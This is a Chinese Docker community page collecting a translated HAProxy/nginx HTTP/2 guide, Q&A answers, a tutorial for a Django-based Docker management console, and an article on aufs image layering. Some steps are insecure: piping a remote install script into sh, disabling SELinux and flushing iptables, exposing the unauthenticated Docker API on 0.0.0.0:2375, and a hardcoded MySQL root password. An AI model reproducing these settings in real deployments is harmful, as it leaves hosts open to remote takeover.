让我们用nginx下列虚拟主机配置(如上所述):

这一行:listen 81 default_server http2 proxy_protocol;

定义了服务器在端口81,会处理HTTP/2的请求。请注意,我们无法在服务器使用443端口进行SSL连接:SSL连接已经被HAProxy解密过了,所以现在我们有一个非加密连接。因此我们需要限制服务器的81端口只使用HTTP/2,不使用SSL。

题外话:小也有proxy_protocol关键词。在haproxy.cfg等效发送代理,在后端服务器配置。代理协议是独立出来的,这儿有篇文章很好的解释了原因。简而言之,它允许通过HAProxy后端服务器传送客户端的IP地址和端口号,这通常是非常理想的。

你可以使用上面的配置运行HAProxy:
HAProxy F / etc / HAProxy / haproxy.cfg
现在你应该能够连接到您的代理主机(例如https://localhost:443/),看到它正在运行HTTP / 2。如果你在Firefox的测试,检查网络请求头的标题,你会看到X-Firefox-Spdy: "h2"。


Docker images


如果你早已经会使用Docker,你可以用我们的MILLION12镜像。当Docker还是1.0版本的时候我们已经开始使用Docker很长时间了(MILLION12这是我们的仓库地址),而且我们已经构建了一堆有用的镜像。在这个例子里,我们将使用million12/haproxymillion12/nginx这两个镜像。里面的配置是我们讨论后的最终结果。

你可以运行整个栈通过使用docker-compose.yml文件。注意我们是通过haproxy容器里的web.server主机名连接Nignx的,那个域名就是当前haproxy.cfg使用的主机名。

连接https://haproxy:8443你就会看到屏幕显示出如下内容(注意蓝色的HTTP/2提示部分
nginx.png

haproxy.png

如果你想看看使用这些Docker镜像和上述配置的真实的产品工程,打开https://PrototypeBrewery.io 。Prototype Brewery是我们的产品,一个计划和构建交互式web项目的原型工具。打开看看吧,我们已经在使用HTTP/2了(别忘了注册)。


总结


正如你看到的,迁移到HTTP/2真的很简单,你今天就能做掉。 没有什么理由让你再等下去了,主流浏览器都已经支持它了。而且即使回迁到HTTP/1.1上你仍然是安全的。
分享阅读原文:http://m12.io/blog/http-2-with-haproxy-and-nginx-guide 
中文原文:http://www.oschina.net/translate/haproxy-nginx-http-2
条新动态, 点击查看
Ansible

Ansible 回答了问题 • 2015-10-12 18:10 • 1 个回复 不感兴趣

怎么限制docker容器的磁盘和带宽

赞同来自:

磁盘限额控制用quota,网络带宽控制可以使用cgroup的net_cls控制器 ,具体实现搜索一下看看。
磁盘限额控制用quota,网络带宽控制可以使用cgroup的net_cls控制器 ,具体实现搜索一下看看。
Rock

Rock 回答了问题 • 2015-12-03 20:57 • 1 个回复 不感兴趣

怎么使用docker命令下载image?

赞同来自:

下载镜像的命令非常简单,使用docker pull命令即可。
 
在docker的镜像索引网站上面,镜像都是按照用户名/镜像名的方式来存储的。
有一组比较特殊的镜像,比如ubuntu这类基础镜像,经过官方的验证,值得信任,可以直接用镜像名来检索到。
 
提示:... 显示全部 »
下载镜像的命令非常简单,使用docker pull命令即可。
 
在docker的镜像索引网站上面,镜像都是按照用户名/镜像名的方式来存储的。
有一组比较特殊的镜像,比如ubuntu这类基础镜像,经过官方的验证,值得信任,可以直接用镜像名来检索到。
 
提示:执行pull命令的时候要写完整的名字,比如"learn/tutorial"。

正确的命令:# docker pull learn/tutorial 514
Rock

Rock 回答了问题 • 2015-12-03 21:13 • 3 个回复 不感兴趣

如何让docker以daemon方式永久运行/bin/bash

赞同来自:

docker run指定的命令如果不是那些一直挂起的命令(比如运行top,不断echo),就是会自动退出的。

-d命令是设置detach为true,根据官方的文档,意思是让这个命令在后台运行,但并不是一直运行(我们在一个正常的Linux Terminal中运... 显示全部 »
docker run指定的命令如果不是那些一直挂起的命令(比如运行top,不断echo),就是会自动退出的。

-d命令是设置detach为true,根据官方的文档,意思是让这个命令在后台运行,但并不是一直运行(我们在一个正常的Linux Terminal中运行/bin/bash,运行完了也就完了,不会一直挂着等待响应的,所以确实没办法用daemon方式来跑/bin/bash)。

这个地方官方早期和现在的文档也确实有些前后不一致,现在是detach,早期的文档说指定-d以daemon方式来运行容器,可能存在一定的误解。

另外,如果你需要跑容器里的bash,直接运行
docker run -i -t CONTAINER_NAME /bin/bash就可以了,如果觉得参数比docker attach多,可以设置一个别名(alias)来解决:
alias dockerbash='docker run -i -t CONTAINER_ID /bin/bash'设置好别名后,直接运行dockerbash就可以进入容器的bash了。
Rock

Rock 回答了问题 • 2016-04-11 17:58 • 2 个回复 不感兴趣

docker pull ubuntu出错

赞同来自:

1、首先你确认你到docker hub的网络是否有问题
 
2、配置问题
      2.1 添加Docker的repository到你的本地秘钥库
apt-key adv --keyserver keyserver.ubuntu.com --recv-key... 显示全部 »
1、首先你确认你到docker hub的网络是否有问题
 
2、配置问题
      2.1 添加Docker的repository到你的本地秘钥库
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9     2.2 根据官方提供的简易安装脚本安装,不知道为什么docker pull ubuntu安装总是失败
curl -s https://get.docker.io/ubuntu/ | sh如果想换版本再通过docker pull ubuntu:12.04换

docker web化管理

开源项目Something 发表了文章 • 4 个评论 • 3141 次浏览 • 2016-01-05 18:03 • 来自相关话题

背景

目前很多公司都在使用docker,docker也是一种趋势,我们公司也在使用docker,所以我也跟着学习使用docker,根据基本需求,结合api做了一个web程序

实验环境

本次试验使用两台实体机做模拟docker集群,一台虚拟机做docker镜像服务器,一台虚拟机做web管理机
系统软件环境及版本:
selinux disabled
iptables -F
三台docker机器系统使用centos7.1,两台模拟机群docker机软件docker+pipework+openswitch+etcd+dhcp,docker镜像服务器跑了一个registry容器提供镜像服务
Web管理机使用ubuntu,python+django+uwsgi原理图:




 
程序流程图:





原理

通过web界面创建删除容器和镜像,web服务器通过api操作三台docker机器,创建容器时通过dhcp获取ip,pipework给容器附上获取的ip,并把容器信息写入etcd库中,由于容器重启后ip消失,我通过监控脚本给启动没有ip的容器重新附上ip。容器支持ssh,有好处也有风险。
网络这块我是用交换机提供的网段,容器使用的ip和实体机在同一valn,你也可以一个集群使用一个valn,这里我是用同一valn。容器ip可以从交换机dhcp获取,不懂交换机,我直接用一台docker实体机起了dhcp服务,为该段提供dhcp服务。

安装

1.1 docker集群节点两台机器软件一样,我就以AB区别,软件基本一样,A多了一个dhcp,没有使用交换机提供dhcp1.2 安装openswitch:如果后期不想在docker集群中划分vlan,可以使用系统自带的brctl命令创建桥接网卡,下面创建桥接网卡的脚本相应的变一下,ovs-vsctl改为brctl
yum install gcc make python-devel openssl-devel kernel-devel graphviz kernel-debug-devel autoconf automake rpm-build redhat-rpm-config libtool
wget http://openvswitch.org/releases/openvswitch-2.3.1.tar.gz

tar zxvf openvswitch-2.3.1.tar.gz
mkdir -p ~/rpmbuild/SOURCES
cp openvswitch-2.3.1.tar.gz ~/rpmbuild/SOURCES/
sed 's/openvswitch-kmod, //g' openvswitch-2.3.1/rhel/openvswitch.spec > openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec

rpmbuild -bb --without check openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec
#之后会在~/rpmbuild/RPMS/x86_64/里有2个文件
-rw-rw-r-- 1 ovswitch ovswitch 2013688 Jan 15 03:20 openvswitch-2.3.1-1.x86_64.rpm
-rw-rw-r-- 1 ovswitch ovswitch 7712168 Jan 15 03:20 openvswitch-debuginfo-2.3.1-1.x86_64.rpm

yum localinstall ~/rpmbuild/RPMS/x86_64/openvswitch-2.3.1-1.x86_64.rpm

systemctl enable openvswitch
systemctl start openvswitch1.3 下载pipework:git clone https://github.com/jpetazzo/pipework.git
chmod +x pipework
cp pipework /usr/bin/pipework1.4 网卡配置
脚本下载地址在节点机器上
pwd
/root
check_modify_container.py create_docker_container_use_dhcp_ip.sh openvswitch_docker.sh
#openvswitch_docker.sh 是网卡初始化脚本
#create_docker_container_use_dhcp_ip.sh 是创建容器时会调用的脚本
#check_modify_container.py 容器ip监控脚本
crontab -e
[i]/5 [/i] [i] [/i] * python /root/check_modify_container.py #监控脚本每五分钟执行一次

em1 为管理网段ip
Ovs1桥接在em2上,为docker内网网段ip
配置网卡,这里使用桥接

cat openvswitch_docker.sh
#!/bin/bash
#删除docker测试机
#docker rm `docker stop $(docker ps -a -q)`
#删除已有的openvswitch交换机
ovs-vsctl list-br|xargs -I {} ovs-vsctl del-br {}
#创建交换机
ovs-vsctl add-br ovs1
#把物理网卡加入ovs1
ovs-vsctl add-port ovs1 em2
ip link set ovs1 up
ifconfig em2 0
ifconfig ovs1 192.168.157.21 netmask 255.255.255.0

chmod +x openvswitch_docker.sh
sh openvswitch_docker.sh

也可以写到配置文件中
我的em1为管理网卡10.0.0.21
A机器中安装dhcp,集群中一台机器配置dhcp就可以了,网段根据你的环境改变

yum install -y dhcp
vim /etc/dhcp/dhcpd.conf
log-facility local7;
ddns-update-style none;

subnet 192.168.157.0 netmask 255.255.255.0 {
range 192.168.157.100 192.168.157.200;
option domain-name-servers 202.106.0.20;
option routers 192.168.157.1;
option broadcast-address 192.168.157.255;
default-lease-time 80000;
max-lease-time 80000;
}
systemctl enable dhcpd
systemctl start dhcpd1.5 安装dockeryum install -y docker
vim /etc/sysconfig/docker
OPTIONS='--selinux-enabled --insecure-registry 192.168.46.130:5000 -b=none -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'
#指定镜像服务器为192.168.46.130,net使用none模式,监听2375端口,这个端口提供api访问的
systemctl start docker.service
systemctl enable docker.service1.6 Etcd安装yum install libffi libffi-devel python-devel
yum -y install epel-release
yum -y install python-pip
yum install etcd -y
vim /etc/etcd/etcd.conf
ETCD_NAME=default
ETCD_DATA_DIR="/var/lib/etcd/default.etcd"
ETCD_LISTEN_CLIENT_URLS="http://localhost:2379"
ETCD_ADVERTISE_CLIENT_URLS="http://localhost:2379"
[size=16]#这里etcd我没有做成集群,每台docker机的数据就保存在本机的etcd库中,不与其他节点同步,也不需要提供其他节点访问,这里设置监听本机[/size]
systemctl enable etcd
systemctl start etcd2.1 docker镜像服务器镜像服务器在安装配置完docker后,从官网pull下来一个registry镜像,启动创建一个镜像服务器容器
docker search registry
docker pull docker.io/registry
docker run --restart always -d -p 5000:5000 -v /opt/data/registry:/tmp/registry docker.io/registry安装docker请重复1.5
3.1  web服务器
Django web程序下载地址Web服务器系统我用的ubuntu,主要是安装软件简单,源及软件更新比较快
[quote]>> import django
>>> django.VERSION
(1, 7, 1, 'final', 0)这是我的django版本
apt-get install mysql-server mysql-client
apt-get install python-pip
pip install Django==1.7.1 #你也可以安装最新版本,不确定我写的程序能否正常运行
apt-get install python-mysqldb
pip install docker-py #要调用docker api,所以要安装相关python包
apt-get install curl
apt-get install mysql-server
apt-get isntall mysql-client
sudo apt-get install libmysqlclient-dev
apt-get install python-paramiko #web程序中也会用到curl和paramiko
git clone https://github.com/SomethingCM/Web-for-docker.git 到本地
cd Web-for-docker/docker_demo
vim docker_demo/settings.py
#修改数据库配置
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'docker', #docker 库名
'USER': 'root', #mysql登陆用户
'PASSWORD': 'dockerchen',#密码,如果mysql设置了用户名密码可以填写,没有则为空
'HOST':'',
'PORT':'',
}
}
#修改完以后创建表
./manage.py syncdb
#执行的时候会让你设置后台root用户密码,两次输入密码创建表成功
./manage.py runserver 0.0.0.0:80

初始化设置

在浏览器中输入 IP:port/admin 设置后台 IP为web服务器的ip登陆后台admin初始化设置








 
添加仓库节点




 
添加节点












 
前台登陆












 
编写dockerfile创建镜像








 
把现有容器打包成镜像




 
创建容器



关于怎么用django+uwsgi发布网站这里就不叙述了
由于各种原因项目中途GAMEOVE了,没有具体的需求,不知道如何往下写了,有兴趣的朋友可以参考一下[/quote] 查看全部


背景


目前很多公司都在使用docker,docker也是一种趋势,我们公司也在使用docker,所以我也跟着学习使用docker,根据基本需求,结合api做了一个web程序


实验环境


本次试验使用两台实体机做模拟docker集群,一台虚拟机做docker镜像服务器,一台虚拟机做web管理机
系统软件环境及版本:
selinux disabled
iptables -F
三台docker机器系统使用centos7.1,两台模拟机群docker机软件docker+pipework+openswitch+etcd+dhcp,docker镜像服务器跑了一个registry容器提供镜像服务
Web管理机使用ubuntu,python+django+uwsgi
原理图:
yltu.png

 
程序流程图:
processlist.png


原理


通过web界面创建删除容器和镜像,web服务器通过api操作三台docker机器,创建容器时通过dhcp获取ip,pipework给容器附上获取的ip,并把容器信息写入etcd库中,由于容器重启后ip消失,我通过监控脚本给启动没有ip的容器重新附上ip。容器支持ssh,有好处也有风险。
网络这块我是用交换机提供的网段,容器使用的ip和实体机在同一valn,你也可以一个集群使用一个valn,这里我是用同一valn。容器ip可以从交换机dhcp获取,不懂交换机,我直接用一台docker实体机起了dhcp服务,为该段提供dhcp服务。


安装


1.1 docker集群节点
两台机器软件一样,我就以AB区别,软件基本一样,A多了一个dhcp,没有使用交换机提供dhcp
1.2 安装openswitch:
如果后期不想在docker集群中划分vlan,可以使用系统自带的brctl命令创建桥接网卡,下面创建桥接网卡的脚本相应的变一下,ovs-vsctl改为brctl
yum install gcc make python-devel openssl-devel kernel-devel graphviz kernel-debug-devel autoconf automake rpm-build redhat-rpm-config libtool
wget http://openvswitch.org/releases/openvswitch-2.3.1.tar.gz

tar zxvf openvswitch-2.3.1.tar.gz
mkdir -p ~/rpmbuild/SOURCES
cp openvswitch-2.3.1.tar.gz ~/rpmbuild/SOURCES/
sed 's/openvswitch-kmod, //g' openvswitch-2.3.1/rhel/openvswitch.spec > openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec

rpmbuild -bb --without check openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec
#之后会在~/rpmbuild/RPMS/x86_64/里有2个文件
-rw-rw-r-- 1 ovswitch ovswitch 2013688 Jan 15 03:20 openvswitch-2.3.1-1.x86_64.rpm
-rw-rw-r-- 1 ovswitch ovswitch 7712168 Jan 15 03:20 openvswitch-debuginfo-2.3.1-1.x86_64.rpm

yum localinstall ~/rpmbuild/RPMS/x86_64/openvswitch-2.3.1-1.x86_64.rpm

systemctl enable openvswitch
systemctl start openvswitch
1.3 下载pipework:
git clone https://github.com/jpetazzo/pipework.git
chmod +x pipework
cp pipework /usr/bin/pipework
1.4 网卡配置
脚本下载地址
在节点机器上
pwd
/root
check_modify_container.py create_docker_container_use_dhcp_ip.sh openvswitch_docker.sh
#openvswitch_docker.sh 是网卡初始化脚本
#create_docker_container_use_dhcp_ip.sh 是创建容器时会调用的脚本
#check_modify_container.py 容器ip监控脚本
crontab -e
[i]/5 [/i] [i] [/i] * python /root/check_modify_container.py #监控脚本每五分钟执行一次

em1 为管理网段ip
Ovs1桥接在em2上,为docker内网网段ip
配置网卡,这里使用桥接

cat openvswitch_docker.sh
#!/bin/bash
#删除docker测试机
#docker rm `docker stop $(docker ps -a -q)`
#删除已有的openvswitch交换机
ovs-vsctl list-br|xargs -I {} ovs-vsctl del-br {}
#创建交换机
ovs-vsctl add-br ovs1
#把物理网卡加入ovs1
ovs-vsctl add-port ovs1 em2
ip link set ovs1 up
ifconfig em2 0
ifconfig ovs1 192.168.157.21 netmask 255.255.255.0

chmod +x openvswitch_docker.sh
sh openvswitch_docker.sh

也可以写到配置文件中
我的em1为管理网卡10.0.0.21
A机器中安装dhcp,集群中一台机器配置dhcp就可以了,网段根据你的环境改变

yum install -y dhcp
vim /etc/dhcp/dhcpd.conf
log-facility local7;
ddns-update-style none;

subnet 192.168.157.0 netmask 255.255.255.0 {
range 192.168.157.100 192.168.157.200;
option domain-name-servers 202.106.0.20;
option routers 192.168.157.1;
option broadcast-address 192.168.157.255;
default-lease-time 80000;
max-lease-time 80000;
}
systemctl enable dhcpd
systemctl start dhcpd
1.5 安装docker
yum install -y docker
vim /etc/sysconfig/docker
OPTIONS='--selinux-enabled --insecure-registry 192.168.46.130:5000 -b=none -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'
#指定镜像服务器为192.168.46.130,net使用none模式,监听2375端口,这个端口提供api访问的
systemctl start docker.service
systemctl enable docker.service
1.6 Etcd安装
yum install libffi libffi-devel python-devel
yum -y install epel-release
yum -y install python-pip
yum install etcd -y
vim /etc/etcd/etcd.conf
ETCD_NAME=default
ETCD_DATA_DIR="/var/lib/etcd/default.etcd"
ETCD_LISTEN_CLIENT_URLS="http://localhost:2379"
ETCD_ADVERTISE_CLIENT_URLS="http://localhost:2379"
[size=16]#这里etcd我没有做成集群,每台docker机的数据就保存在本机的etcd库中,不与其他节点同步,也不需要提供其他节点访问,这里设置监听本机[/size]
systemctl enable etcd
systemctl start etcd
2.1 docker镜像服务器
镜像服务器在安装配置完docker后,从官网pull下来一个registry镜像,启动创建一个镜像服务器容器
docker search registry
docker pull docker.io/registry
docker run --restart always -d -p 5000:5000 -v /opt/data/registry:/tmp/registry docker.io/registry
安装docker请重复1.5
3.1  web服务器
Django web程序下载地址
Web服务器系统我用的ubuntu,主要是安装软件简单,源及软件更新比较快
[quote]>> import django
>>> django.VERSION
(1, 7, 1, 'final', 0)这是我的django版本
apt-get install mysql-server mysql-client
apt-get install python-pip
pip install Django==1.7.1 #你也可以安装最新版本,不确定我写的程序能否正常运行
apt-get install python-mysqldb
pip install docker-py #要调用docker api,所以要安装相关python包
apt-get install curl
apt-get install mysql-server
apt-get isntall mysql-client
sudo apt-get install libmysqlclient-dev
apt-get install python-paramiko #web程序中也会用到curl和paramiko
git clone https://github.com/SomethingCM/Web-for-docker.git 到本地
cd Web-for-docker/docker_demo
vim docker_demo/settings.py
#修改数据库配置
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'docker', #docker 库名
'USER': 'root', #mysql登陆用户
'PASSWORD': 'dockerchen',#密码,如果mysql设置了用户名密码可以填写,没有则为空
'HOST':'',
'PORT':'',
}
}
#修改完以后创建表
./manage.py syncdb
#执行的时候会让你设置后台root用户密码,两次输入密码创建表成功
./manage.py runserver 0.0.0.0:80


初始化设置


在浏览器中输入 IP:port/admin 设置后台 IP为web服务器的ip
登陆后台admin初始化设置
loginadmin.png

admin.png

 
添加仓库节点
addregistry.png

 
添加节点
addnode1.png

addnode2.png

shownode.png

 
前台登陆
login.png

index.png

showimages.png

 
编写dockerfile创建镜像
dockerfile.png

showcontainers.png

 
把现有容器打包成镜像
containertoimage.png

 
创建容器
createcontailer.png
关于怎么用django+uwsgi发布网站这里就不叙述了
由于各种原因项目中途GAMEOVE了,没有具体的需求,不知道如何往下写了,有兴趣的朋友可以参考一下[/quote]

怎么限制docker容器的磁盘和带宽

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 1862 次浏览 • 2015-10-12 18:10 • 来自相关话题

Docker镜像无法删除

大数据/云计算采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 1306 次浏览 • 2015-09-10 11:09 • 来自相关话题

运行docker报错Cannot connect to the Docker daemon. Is 'docker -d' running on this host?

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 2091 次浏览 • 2015-09-01 20:53 • 来自相关话题

浅谈docker文件系统分层与隔离

大数据/云计算采菊篱下 发表了文章 • 0 个评论 • 1439 次浏览 • 2015-08-28 01:27 • 来自相关话题

   
    Docker 的很多特性都表现在它所使用的文件系统上,比如大家都知道docker的文件系统是分层的,所以它可以快速迭代,可以回滚。下面就聊一下我对docker文件系统的理解
 
    Docker 使用的支持的文件系统有以下几种: aufs、devicemapper、btrfs  Vfs 我们先来介绍一下aufs

一、  Aufs(advanced multi layered unification filesystem)

    Aufs直译过来就是高级分层统一文件系统。做为一种Union FS 它支持将不同的目录挂载到同一个虚拟文件系统下. 这个怎么理解呢。通过一条命令我们来看一下吧。mount -t aufs -o br=/tmp/dir1=ro:/tmp/dir2=rw none /tmp/newfs
[]-o 指定mount传递给文件系统的参数[/][]br 指定需要挂载的文件夹,这里包括dir1和dir2[/][]ro/rw 指定文件的权限只读和可读写[/][]none 这里没有设备,用none表示[/]
    这个结果是什么样子的呢。 就是把/tmp/dir1 t和/tmp/dir2  合并之后挂载到/tmp/newfs ,如果这时在/tmp/dir1 下创建一个文件a  /tmp/dir2下创建一个文件b 则  在/tmp/newfs 会看到a,b 这两个文件,并且a 是只读的, 如果有相同的文件则以先挂载的为准,后面挂载的操作会被忽略掉
 
   通过对Aufs的理解,大家可以想像一下docker所谓的“layer”的概念。还是实际的例子说明一下。

    一个镜像通过docker save  保存之后 会被打成一个tar 包,我们来看下这个tar包里都有些什么?docker save cloud_jiankongbao:01.tar cloud_jiankongbao:01    通过上面的语句我们把镜像保存出下来。可以看到,保存下来的是tar 包。 不是.iso文件^_^,镜像解压之后是什么呢?ls .
a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329
d9bde94c518a16a886514758b6b4431200145ecd58e30c5633ac3c0256544d77
f1b10cd842498c23d206ee0cbeaa9de8d2ae09ff3c7af2723a9e337a6965d639
fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f
repositories    出现了四个目录文件,再通过docker images --tree
└─f1b10cd84249 Virtual Size: 0 B
└─fb9cc58bde0c Virtual Size: 203.1 MB
└─a005304e4e74 Virtual Size: 203.1 MB
└─d9bde94c518a Virtual Size: 1.957 GB Tags: cloud_jiankongbao:01    大家可以看到,4个目录其实分别是4个ID(注每次使用docker commit 提供对docker的修改之后就会产生一个新的id,就是通过这个ID可以实现对镜像的回滚)。每个目录下有json  layer.tar  VERSION 这三个文件。我们再看一下layer.tar cd fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f;tar -xf layer.tar;ls

ls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/
bin etc json lib lost+found mnt proc sbin srv tmp var
dev home layer.tar lib64 media opt root selinux sys usr VERSION    这里存放的系统文件。

    我们再看一下镜像的4个不同ID的系统。

    f1b10cd84249 这个镜像是初始镜像,大小为0, fb9cc58bde0c 这个镜像是在f1b10cd84249基础上创建新的镜像,a005304e4e74是以fb9cc58bde0c为基础创建新的镜像。是树状继承的关系。我们再看下bin目录下的文件ls a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329/bin/
gtar tarls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/bin/
arch cpio egrep gunzip logger mountpoint raw sleep true
awk cut env gzip login mv readlink sort umount
basename date ex hostname ls netstat rm stty uname
bash dd false ipcalc lsblk nice rmdir su unlink
cat df fgrep iptables-xml mkdir nisdomainname rpm sync usleep
chgrp dmesg find iptables-xml-1.4.7 mknod ping rvi taskset vi
chmod dnsdomainname findmnt kill mktemp ping6 rview touch view
chown domainname gawk link more ps sed tracepath ypdomainname
cp echo grep ln mount pwd sh tracepath6 zcat
    a005304e4e74 只有两个文件 fb9cc58bde0c包括了大部分bin下的文件,这就是Aufs,理解起来感觉有点像增量备份。

二、简单的说一下devicemapper 

    devicemapper是利用了Snapshot 和Thinly-Provisioned Snapshot两种原理。将多个快照挂在同一个卷下从而实现文件系统的分层。不过使用devicemapper 的话一个container的大小最大只能是10G。
 
    在启动docker daemon时用参数-s 指定:  docker -d -s devicemapper
 
    关于隔离是怎么实现的呢,当容器基于镜像启动之后,每个容器都会获得自己的写读可写的文件系统层。原镜像的那部分文件系统是只读的,从而实现每个容器的在文件系统上的离隔。
 
   平时大家都在说dokcer 是弱隔离的,为什么呢?因为他没有隔离的很彻底,比如内核,内核是跟大家共用的,跟宿主机共用同一个内核,SELinux、 Cgroups以及/sys、/proc/sys、/dev/sd*等目录下的资源是与宿主机共用的。

   如果要隔离的彻底那就是VM了,而且如果dockers要想实现这些隔离就必然要牺牲一下现在轻量级的特性。那还不如直接用虚拟机好了!
文章转载出处 查看全部
df1.png
   
    Docker 的很多特性都表现在它所使用的文件系统上,比如大家都知道docker的文件系统是分层的,所以它可以快速迭代,可以回滚。下面就聊一下我对docker文件系统的理解
 
    Docker 使用的支持的文件系统有以下几种: aufs、devicemapper、btrfs  Vfs 我们先来介绍一下aufs


一、  Aufs(advanced multi layered unification filesystem)


    Aufs直译过来就是高级分层统一文件系统。做为一种Union FS 它支持将不同的目录挂载到同一个虚拟文件系统下. 这个怎么理解呢。通过一条命令我们来看一下吧。
mount -t aufs -o br=/tmp/dir1=ro:/tmp/dir2=rw none /tmp/newfs

    []-o 指定mount传递给文件系统的参数[/][]br 指定需要挂载的文件夹,这里包括dir1和dir2[/][]ro/rw 指定文件的权限只读和可读写[/][]none 这里没有设备,用none表示[/]

    这个结果是什么样子的呢。 就是把/tmp/dir1 t和/tmp/dir2  合并之后挂载到/tmp/newfs ,如果这时在/tmp/dir1 下创建一个文件a  /tmp/dir2下创建一个文件b 则  在/tmp/newfs 会看到a,b 这两个文件,并且a 是只读的, 如果有相同的文件则以先挂载的为准,后面挂载的操作会被忽略掉
 
   通过对Aufs的理解,大家可以想像一下docker所谓的“layer”的概念。还是实际的例子说明一下。

    一个镜像通过docker save  保存之后 会被打成一个tar 包,我们来看下这个tar包里都有些什么?
docker save cloud_jiankongbao:01.tar cloud_jiankongbao:01
    通过上面的语句我们把镜像保存出下来。可以看到,保存下来的是tar 包。 不是.iso文件^_^,镜像解压之后是什么呢?
ls . 
a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329
d9bde94c518a16a886514758b6b4431200145ecd58e30c5633ac3c0256544d77
f1b10cd842498c23d206ee0cbeaa9de8d2ae09ff3c7af2723a9e337a6965d639
fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f
repositories
    出现了四个目录文件,再通过
docker images --tree
└─f1b10cd84249 Virtual Size: 0 B
└─fb9cc58bde0c Virtual Size: 203.1 MB
└─a005304e4e74 Virtual Size: 203.1 MB
└─d9bde94c518a Virtual Size: 1.957 GB Tags: cloud_jiankongbao:01
    大家可以看到,4个目录其实分别是4个ID(注每次使用docker commit 提供对docker的修改之后就会产生一个新的id,就是通过这个ID可以实现对镜像的回滚)。每个目录下有json  layer.tar  VERSION 这三个文件。我们再看一下layer.tar 
cd fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f;tar -xf layer.tar;ls

ls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/
bin etc json lib lost+found mnt proc sbin srv tmp var
dev home layer.tar lib64 media opt root selinux sys usr VERSION
    这里存放的系统文件。

    我们再看一下镜像的4个不同ID的系统。

    f1b10cd84249 这个镜像是初始镜像,大小为0, fb9cc58bde0c 这个镜像是在f1b10cd84249基础上创建新的镜像,a005304e4e74是以fb9cc58bde0c为基础创建新的镜像。是树状继承的关系。我们再看下bin目录下的文件
ls a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329/bin/
gtar tar
ls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/bin/
arch cpio egrep gunzip logger mountpoint raw sleep true
awk cut env gzip login mv readlink sort umount
basename date ex hostname ls netstat rm stty uname
bash dd false ipcalc lsblk nice rmdir su unlink
cat df fgrep iptables-xml mkdir nisdomainname rpm sync usleep
chgrp dmesg find iptables-xml-1.4.7 mknod ping rvi taskset vi
chmod dnsdomainname findmnt kill mktemp ping6 rview touch view
chown domainname gawk link more ps sed tracepath ypdomainname
cp echo grep ln mount pwd sh tracepath6 zcat
    a005304e4e74 只有两个文件 fb9cc58bde0c包括了大部分bin下的文件,这就是Aufs,理解起来感觉有点像增量备份。


二、简单的说一下devicemapper 


    devicemapper是利用了Snapshot 和Thinly-Provisioned Snapshot两种原理。将多个快照挂在同一个卷下从而实现文件系统的分层。不过使用devicemapper 的话一个container的大小最大只能是10G。
 
    在启动docker daemon时用参数-s 指定:  docker -d -s devicemapper
 
    关于隔离是怎么实现的呢,当容器基于镜像启动之后,每个容器都会获得自己的写读可写的文件系统层。原镜像的那部分文件系统是只读的,从而实现每个容器的在文件系统上的离隔。
 
   平时大家都在说dokcer 是弱隔离的,为什么呢?因为他没有隔离的很彻底,比如内核,内核是跟大家共用的,跟宿主机共用同一个内核,SELinux、 Cgroups以及/sys、/proc/sys、/dev/sd*等目录下的资源是与宿主机共用的。

   如果要隔离的彻底那就是VM了,而且如果dockers要想实现这些隔离就必然要牺牲一下现在轻量级的特性。那还不如直接用虚拟机好了!
文章转载出处

Docker入门学习

大数据/云计算Ansible 发表了文章 • 2 个评论 • 1062 次浏览 • 2015-06-23 02:05 • 来自相关话题

Docker是什么

Docker是一种容器技术,它可以将应用和环境等进行打包,形成一个独立的,类似于iOS的APP形式的“应用”,这个应用可以直接被分发到任意一个支持Docker的环境中,通过简单的命令即可启动运行。Docker是一种最流行的容器化实现方案。和虚拟化技术类似,它极大的方便了应用服务的部署;又与虚拟化技术不同,它以一种更轻量的方式实现了应用服务的打包。使用Docker可以让每个应用彼此相互隔离,在同一台机器上同时运行多个应用,不过他们彼此之间共享同一个操作系统。Docker的优势在于,它可以在更细的粒度上进行资源的管理,也比虚拟化技术更加节约资源。





上图:虚拟化和Docker架构对比,来自Docker官网
 
基本概念
开始试验Docker之前,我们先来了解一下Docker的几个基本概念:

镜像:我们可以理解为一个预配置的系统光盘,这个光盘插入电脑后就可以启动一个操作系统。当然由于是光盘,所以你无法修改它或者保存数据,每次重启都是一个原样全新的系统。Docker里面镜像基本上和这个差不多。

容器:同样一个镜像,我们可以同时启动运行多个,运行期间的产生的这个实例就是容器。把容器内的操作和启动它的镜像进行合并,就可以产生一个新的镜像。
 
开始
Docker基于LXC技术实现,依赖于Linux内核,所以Docker目前只能在Linux以原生方式运行。目前主要的Linux发行版在他们的软件仓库中内置了Docker:

Ubuntu:
[]Ubuntu Trusty 14.04 (LTS)[/][]Ubuntu Precise 12.04 (LTS)[/][]Ubuntu Saucy 13.10[/]

CentOS:
[] CentOS 7[/]

